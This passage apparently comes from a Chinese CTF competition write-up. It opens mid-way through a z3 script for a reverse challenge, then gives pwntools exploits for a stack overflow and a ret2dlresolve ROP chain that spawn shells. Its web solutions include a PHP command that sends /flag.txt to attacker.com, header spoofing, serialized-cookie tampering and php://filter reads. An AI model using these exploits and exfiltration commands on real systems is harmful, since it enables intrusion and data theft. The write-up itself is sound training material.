x[16] * x[21]) + 6 * (x[16] * x[33]) + 5 * (x[17] * x[37]) - 2 * x[19] * x[19] - 4 * (
x[19] * x[26]) - 2 * (x[19] * x[36]) - 5 * (x[2] * x[37]) + 5 * (x[20] * x[26]) - 5 * (x[25] * x[7]) +
x[33] * x[33] - 6 * (x[35] * x[6]) - 3 * (x[4] * x[5]) + 127300 == 0,
- 8 * (x[0] * x[14]) + 4 * (x[0] * x[23]) - 6 * (x[0] * x[25]) + 3 * (x[1] * x[26]) - 8 * (x[1] * x[31]) + x[
10] *
x[12] - 3 * (x[10] * x[24]) - 4 * (x[10] * x[28]) + 3 * (x[10] * x[35]) + x[10] * x[9] + 10 * x[10] - 4 * (
x[11] * x[28]) - 6 * (x[11] * x[6]) - 4 * x[20] * x[20] - 2 * (x[20] * x[34]) - 5 * (
x[21] * x[34]) + 2 * (x[24] * x[4]) - 2 * (x[3] * x[35]) + 9 * (x[30] * x[31]) - 8 * (
x[31] * x[33]) - 2 * (x[36] * x[7]) + 264644 == 0,
- 4 * (x[0] * x[20]) + 8 * (x[1] * x[23]) - 3 * (x[1] * x[29]) - 5 * (x[10] * x[3]) - 2 * (
x[12] * x[23]) + 6 * (
x[12] * x[28]) - 4 * (x[12] * x[32]) + 5 * (x[15] * x[22]) - 7 * (x[15] * x[3]) + 7 * (
x[15] * x[9]) + 9 * (x[16] * x[22]) + 6 * (x[17] * x[34]) + 3 * (x[18] * x[27]) - 6 * (
x[18] * x[6]) + 4 * (x[18] * x[8]) - 3 * (x[20] * x[26]) + 2 * (x[20] * x[31]) - 5 * (
x[23] * x[27]) + 5 * (x[23] * x[33]) - 6 * (x[26] * x[31]) - 6 * (x[26] * x[35]) - 8 * (
x[35] * x[5]) - 2 * x[36] * x[36] + 78340 == 0,
x[0] * x[14] + 10 * (x[0] * x[28]) - 2 * (x[10] * x[13]) + 6 * (x[10] * x[26]) + 9 * (x[11] * x[4]) - 6 * (
x[11] * x[7]) + 5 * (x[15] * x[33]) + 8 * (x[17] * x[32]) + 9 * (x[19] * x[22]) + 9 * (
x[19] * x[6]) - 5 * (x[24] * x[25]) + 6 * x[32] - 6 * x[35] * x[35] - 296052 == 0,
- 8 * (x[1] * x[11]) + 3 * (x[13] * x[31]) + x[14] * x[32] - 2 * (x[15] * x[37]) - x[17] * x[7] + 5 * (
x[18] * x[20]) + 10 * x[19] * x[19] - 7 * (x[19] * x[33]) - 4 * (x[20] * x[32]) - x[21] * x[32] + 8 * (
x[22] * x[29]) - 3 * (x[23] * x[27]) + 2 * (x[25] * x[31]) + 4 * (x[28] * x[7]) - 5 * (
x[29] * x[7]) + 4 * (x[31] * x[6]) + 9 * x[6] * x[6] - 110623 == 0,
10 * (x[0] * x[10]) - x[0] * x[32] + 7 * (x[0] * x[34]) - 5 * (x[11] * x[37]) + 10 * (x[12] * x[35]) + 9 * (
x[13] * x[26]) - 5 * (x[16] * x[2]) + x[18] * x[20] - 8 * (x[18] * x[4]) + 10 * (x[2] * x[34]) - 7 * (
x[21] * x[23]) - 6 * (x[26] * x[33]) - 3 * (x[27] * x[31]) + 3 * x[35] - 3 * (x[7] * x[9]) + 89693 == 0
- x[10] * x[16] + 4 * (x[10] * x[17]) + 3 * (x[11] * x[14]) - 4 * (x[11] * x[24]) - 8 * x[11] + 4 * (
x[15] * x[29]) - 2 * (x[17] * x[26]) + 6 * (x[17] * x[27]) + 3 * (x[17] * x[4]) + 10 * (
x[18] * x[8]) - 8 * (x[20] * x[34]) + 2 * (x[21] * x[24]) - 4 * (x[23] * x[9]) - 4 * x[26] * x[
26] - 3 * (x[30] * x[8]) + 7 * (x[32] * x[37]) - 8 * x[33] * x[33] - x[35] * x[35] - 8 * x[36] * x[36] - x[
36] *
x[4] - 4 * (x[36] * x[8]) + 6 * (x[37] * x[9]) + 8 * x[5] * x[5] - 19910 == 0,
5 * (x[14] * x[33]) + 7 * (x[16] * x[4]) + 4 * x[19] * x[19] - 2 * (x[19] * x[5]) - 6 * (x[22] * x[29]) + 3 * (
x[24] * x[32]) + 3 * x[36] - 121615 == 0,
2 * (x[11] * x[12]) - 8 * (x[11] * x[4]) + 9 * (x[12] * x[23]) + 4 * (x[15] * x[23]) + 2 * (
x[15] * x[8]) + 8 * (
x[18] * x[33]) + x[19] * x[27] + 2 * (x[19] * x[30]) + 6 * (x[2] * x[23]) - 5 * (x[22] * x[27]) - 7 * x[
23] * x[23] - 7 * (x[24] * x[34]) - 6 * (x[28] * x[34]) - 6 * (x[28] * x[35]) - 4 * (x[3] * x[4]) - 5 * (
x[37] * x[8]) + 83733 == 0,
- 2 * (x[10] * x[20]) - 5 * (x[10] * x[34]) - 2 * (x[12] * x[16]) + x[12] * x[23] - 4 * (x[12] * x[24]) + 9 * (
x[12] * x[26]) - 3 * x[13] + 8 * (x[14] * x[16]) + 10 * (x[18] * x[37]) + 10 * (x[24] * x[35]) + 9 * (
x[25] * x[4]) + x[26] - 4 * (x[30] * x[33]) + 4 * (x[37] * x[6]) - 319804 == 0,
- 7 * (x[10] * x[4]) - 3 * (x[10] * x[6]) + 2 * x[13] * x[13] - 4 * (x[13] * x[18]) + 8 * (x[16] * x[6]) - 6 * (
x[19] * x[34]) + 6 * (x[21] * x[31]) - 6 * (x[23] * x[8]) - 2 * (x[26] * x[5]) + 40508 == 0,
7 * (x[0] * x[22]) + 8 * (x[10] * x[19]) + 7 * x[15] * x[15] + 10 * (x[16] * x[4]) + 2 * (x[17] * x[9]) - 5 * (
x[20] * x[31]) + 7 * (x[22] * x[30]) + x[23] * x[29] + 6 * (x[31] * x[33]) - 8 * (
x[36] * x[9]) - 254907 == 0,
- 6 * (x[0] * x[30]) - 5 * (x[11] * x[36]) - 8 * (x[12] * x[21]) + 10 * (x[13] * x[20]) + 2 * (
x[17] * x[19]) + 3 * (x[2] * x[24]) + 7 * (x[2] * x[31]) - 3 * (x[20] * x[3]) - 5 * (
x[21] * x[29]) + 9 * (x[22] * x[5]) - 6 * (x[24] * x[28]) + 6 * (x[24] * x[36]) + 6 * (
x[27] * x[28]) - 5 * (x[31] * x[6]) - 4 * x[31] - 7 * (x[34] * x[8]) + 40619 == 0,
4 * (x[0] * x[2]) + 8 * (x[10] * x[23]) - 2 * (x[10] * x[37]) - 7 * (x[11] * x[4]) - 7 * (x[12] * x[2]) + 9 * (
x[13] * x[17]) + 5 * (x[13] * x[8]) - 6 * (x[15] * x[22]) + x[19] * x[7] - 8 * x[2] * x[2] + 4 * x[21] *
x[21] - 7 * (x[21] * x[5]) + 7 * (x[24] * x[3]) - x[27] * x[29] + 2 * (x[27] * x[4]) - 2 * (
x[31] * x[35]) + 3 * (
x[33] * x[37]) + 5 * (x[36] * x[5]) - 3 * (x[4] * x[8]) + 5 * x[8] + 10109 == 0,
- 5 * (x[1] * x[17]) + 5 * (x[10] * x[28]) + x[11] * x[29] + 10 * (x[13] * x[27]) + 7 * (x[15] * x[9]) - 4 * (
x[17] * x[29]) - 7 * (x[18] * x[22]) + 8 * (x[19] * x[8]) - 4 * (x[20] * x[30]) + 3 * (
x[21] * x[6]) + 2 * (x[23] * x[3]) + 6 * (x[24] * x[26]) + 5 * (x[25] * x[34]) - 7 * (
x[35] * x[37]) + 8 * (x[36] * x[8]) + 2 * x[5] * x[5] + 10 * x[9] * x[9] - 165302 == 0,
- 6 * (x[0] * x[24]) - 5 * (x[0] * x[35]) + 3 * (x[0] * x[36]) + 5 * (x[1] * x[10]) - 4 * (x[11] * x[9]) + 2 * (
x[12] * x[3]) - 2 * (x[13] * x[5]) + x[15] * x[31] + 8 * (x[16] * x[21]) + 9 * (x[16] * x[37]) + 2 * (
x[17] * x[36]) + 4 * (x[18] * x[7]) + 9 * (x[20] * x[7]) + 8 * (x[22] * x[37]) + 5 * (x[23] * x[30]) -
x[24] * x[5] - 3 * (x[25] * x[9]) + 9 * (x[26] * x[6]) + 10 * (x[28] * x[35]) + 3 * (x[3] * x[31]) + 4 * (
x[32] * x[34]) + 10 * (x[37] * x[9]) - 481702 == 0,
- 4 * (x[11] * x[16]) - x[12] * x[35] + 10 * (x[12] * x[5]) - x[16] * x[34] + 6 * (x[18] * x[35]) + 2 * (
x[19] * x[3]) + 4 * (x[21] * x[6]) - 8 * (x[22] * x[3]) + 10 * (x[22] * x[36]) + 6 * x[23] + x[26] * x[
33] + 6 * (x[26] * x[6]) - 6 * (x[3] * x[8]) + 10 * (x[32] * x[9]) + 5 * x[33] * x[33] - 129181 == 0
- 4 * (x[0] * x[4]) + 3 * (x[12] * x[31]) - x[14] * x[7] - x[21] * x[24] - 6 * (x[21] * x[26]) - 2 * (
x[21] * x[5]) + 4 * (x[24] * x[35]) + 3 * x[28] * x[28] + 8 * (x[28] * x[7]) + 4 * (
x[31] * x[33]) + 6 * (x[33] * x[35]) - 5 * (x[5] * x[6]) + 55584 == 0,
- 8 * (x[1] * x[20]) + 6 * (x[10] * x[6]) + x[10] * x[9] + 2 * (x[12] * x[19]) - 2 * (x[13] * x[26]) + 2 * (
x[15] * x[9]) + 5 * (x[18] * x[32]) + 8 * (x[19] * x[8]) + 6 * x[2] + 6 * (x[20] * x[22]) - 4 * (
x[21] * x[29]) + 9 * (x[21] * x[30]) + 6 * x[22] * x[22] + x[27] * x[4] - 3 * (x[31] * x[35]) - 5 * (
x[32] * x[8]) + 7 * (x[35] * x[6]) + 8 * (x[4] * x[9]) - 152058 == 0,
6 * (x[11] * x[20]) + 8 * (x[12] * x[5]) - 2 * x[12] - 8 * (x[13] * x[18]) - 4 * (x[13] * x[3]) + 2 * (
x[13] * x[4]) + 7 * (x[17] * x[9]) + 9 * (x[19] * x[27]) - 7 * (x[19] * x[36]) - 3 * (
x[20] * x[27]) - 8 * (x[20] * x[36]) + 9 * (x[20] * x[8]) + 7 * (x[24] * x[29]) - 4 * (
x[28] * x[33]) - 6 * (x[30] * x[5]) - 4 * (x[33] * x[9]) + 3 * x[9] * x[9] + 60529 == 0,
- 7 * (x[0] * x[14]) - 4 * (x[0] * x[2]) - 8 * (x[1] * x[27]) - 6 * (x[10] * x[20]) - 4 * (
x[10] * x[31]) + 4 * (
x[10] * x[34]) + 8 * (x[12] * x[20]) + 3 * (x[13] * x[23]) + 7 * (x[15] * x[31]) - 7 * (x[18] * x[30]) +
x[18] * x[33] - 2 * (x[19] * x[20]) - 2 * (x[21] * x[22]) - 3 * (x[22] * x[33]) - 6 * (x[23] * x[36]) + 5 * (
x[29] * x[8]) + 3 * (x[37] * x[4]) + 139821 == 0,
10 * (x[0] * x[20]) - 6 * (x[1] * x[36]) + 8 * (x[10] * x[18]) + 6 * (x[13] * x[30]) + 8 * (
x[13] * x[32]) - 4 * (
x[16] * x[4]) - 7 * (x[16] * x[6]) - 3 * (x[17] * x[28]) + 9 * (x[18] * x[3]) + 4 * (
x[21] * x[9]) + 2 * (x[24] * x[28]) + 4 * (x[26] * x[32]) + x[28] * x[3] + 9 * (x[28] * x[35]) + 10 * (
x[3] * x[4]) + 8 * (x[35] * x[5]) - 330683 == 0,
4 * (x[0] * x[21]) + 5 * (x[1] * x[14]) + 7 * (x[1] * x[19]) + 10 * (x[1] * x[26]) + x[1] * x[35] + 7 * x[10] *
x[
10] - 2 * (x[10] * x[24]) - 4 * (x[11] * x[7]) - 5 * (x[12] * x[28]) + 6 * (x[14] * x[25]) - 3 * (
x[15] * x[30]) - 7 * (x[15] * x[8]) + 8 * (x[16] * x[18]) - 2 * (x[17] * x[3]) + 8 * (
x[17] * x[8]) + 2 * (x[2] * x[36]) - 8 * (x[21] * x[22]) + 5 * (x[21] * x[27]) + 5 * (
x[24] * x[3]) - 5 * (x[25] * x[27]) + 4 * (x[30] * x[6]) + 5 * (x[30] * x[8]) - 8 * x[33] + 2 * x[5] *
x[5] - 349237 == 0,
- 8 * (x[0] * x[22]) - 2 * (x[10] * x[25]) + 3 * (x[10] * x[35]) - 3 * (x[17] * x[26]) - 8 * (
x[20] * x[9]) - 2 * (
x[31] * x[8]) + 2 * (x[7] * x[8]) + 87249 == 0,
7 * (x[0] * x[1]) + 2 * (x[11] * x[26]) - 4 * (x[12] * x[32]) + 8 * (x[13] * x[23]) - 4 * x[14] + 10 * (
x[15] * x[16]) + 8 * (x[16] * x[33]) + x[21] * x[34] - 8 * (x[22] * x[29]) - 2 * (x[25] * x[32]) + 2 * (
x[25] * x[9]) - 2 * (x[34] * x[36]) - 257930 == 0,
6 * (x[0] * x[29]) - x[11] * x[20] + 7 * (x[13] * x[3]) + 2 * (x[16] * x[2]) + 10 * (x[16] * x[28]) + 8 * (
x[2] * x[37]) + 8 * (x[2] * x[6]) + 3 * (x[23] * x[8]) - 4 * (x[29] * x[31]) + 8 * x[30] * x[30] - 2 *
x[31] - 6 * (x[4] * x[5]) - 6 * x[7] - 347541 == 0)
# 设置求解器参数
#solver.set("timeout", 60000)
#solver.set("parallel.enable", True)
if solver.check() == sat:
model = solver.model()
flag = bytes([model.eval(xi).as_long() for xi in x]).decode()
return flag
else:
return "No solution."
print("Flag:", solve_equations())
flag{3c3257f9efec0bdcf1e99841f600715f}
Pwn
1.Canary
一、题目截图

二、解题思路
exp
from pwn import *
p=remote('47.105.113.86',30001)
binsh=0x401581
payload=b'a'*(88+16)+p64(0)+p64(0)+p64(binsh)
p.recvuntil('your choice')
p.sendline('1')
p.recvuntil('code:')
p.sendline(payload)
p.recvuntil('your choice')
p.sendline('2')
p.sendline('3')
p.interactive()
2.ez_pwn
一、题目截图

二、解题思路
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p = remote('47.105.113.86',30003)
elf = ELF('./pwn')
libc= ELF('./libc-2.31.so')
def build_fake_link_map(elf,linkmap_addr,onegot,offset):
target_addr = linkmap_addr-8
linkmap = p64(offset & (2**64-1))
linkmap = linkmap.ljust(0x68,b'\x00')
linkmap += p64(linkmap_addr)
linkmap += p64(linkmap_addr+0x100)
linkmap = linkmap.ljust(0xf8,b'\x00')
linkmap += p64(linkmap_addr+0x110)
linkmap += p64(0)+p64(onegot-8)
linkmap += p64(0)+p64(linkmap_addr+0x120)
linkmap += p64(target_addr-offset)+p64(7)+p64(0)
return linkmap
plt0 = elf.get_section_by_name('.plt').header.sh_addr
fake_link_map_addr = 0x404000 +0x500
fake_link_map = build_fake_link_map(elf,fake_link_map_addr,elf.got['read'],libc.sym['system']-libc.sym['read'])
sh_addr = fake_link_map_addr + len(fake_link_map)
prdi = 0x4012c3
prsi_r15 = 0x4012c1
payload = 0x28*b'\x00'+p64(prdi)+p64(0)+p64(prsi_r15)+p64(fake_link_map_addr)+p64(0)+p64(elf.plt['read'])
payload += p64(0x40119A)+p64(prdi) + p64(sh_addr) + p64(plt0+6)+p64(fake_link_map_addr)+p64(0)
payload = payload.ljust(0x200,b'\x00')
p.sendafter('now.',payload)
payload = fake_link_map+b'/bin/sh\x00'
p.send(payload)
p.interactive()
重定向输出exec 1>&0
再输入指令获得flag

Web
1.easyweb
一、题目截图

二、解题思路
要获取位于/flag.txt的flag,需通过外带数据的方式绕过无直接输出的限制。
这里使用远程服务器连接的方法
cmd=php -r '$f=file_get_contents("/flag.txt"); file_get_contents("http://attacker.com/?flag=".urlencode($f));'
http://attacker.com换成自己的服务器ip进行连接

flag{d4ek6s7kzztx}
2.YWB_Web_xff
一、题目截图

二、解题思路
看服务器源代码发现ip地址2.2.2.1

使用X-Forwarded-For仿照ip,执行

3.YWB_Web_未授权访问
一、题目截图

二、解题思路
php反序列化
替换编码:user=O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:0;}
反序列化
换成user=O:5:"Admin":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:1;}
编码后修改cookie:user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
执行后获得flag

4.YWB_Web_命令执行过滤绕过
一、题目截图

二、解题思路
http://47.105.113.86:40002/?cmd=var_dump(file_get_contents("php://filter/convert.base64-encode/resource=flag.php"));

cyberchef解密,指向/tmp/flag.nisp

再次利用漏洞


flag{dnu3stfgjy61}
5.YWB_Web_反序列化
一、题目截图

二、解题思路
O:7:"mylogin":2:{s:4:"user";s:4:"user";s:4:"pass";s:11:"myzS@11wawq";}


浙公网安备 33010602011771号